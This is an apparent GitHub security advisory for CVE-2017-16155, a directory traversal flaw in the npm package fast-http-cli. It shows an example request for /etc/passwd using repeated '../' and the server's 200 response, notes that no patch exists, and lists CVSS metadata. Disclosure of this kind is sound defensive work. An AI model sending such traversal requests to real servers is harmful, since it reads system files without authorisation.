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Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlmcnEtZjg2Ny1oZ3Fj

Directory Traversal in fast-http-cli

fast-http-cli is the command line interface for fast-http, a simple web server.

fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Permalink: https://github.com/advisories/GHSA-9frq-f867-hgqc
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlmcnEtZjg2Ny1oZ3Fj
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: almost 6 years ago
Updated: 8 months ago

CVSS Score: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Identifiers: GHSA-9frq-f867-hgqc, CVE-2017-16155
References:

• https://nvd.nist.gov/vuln/detail/CVE-2017-16155
• https://github.com/JacksonGL/NPM-Vuln-PoC/tree/master/directory-traversal/fast-http-cli
• https://github.com/advisories/GHSA-9frq-f867-hgqc
• https://www.npmjs.com/advisories/383

Blast Radius: 0.0

Affected Packages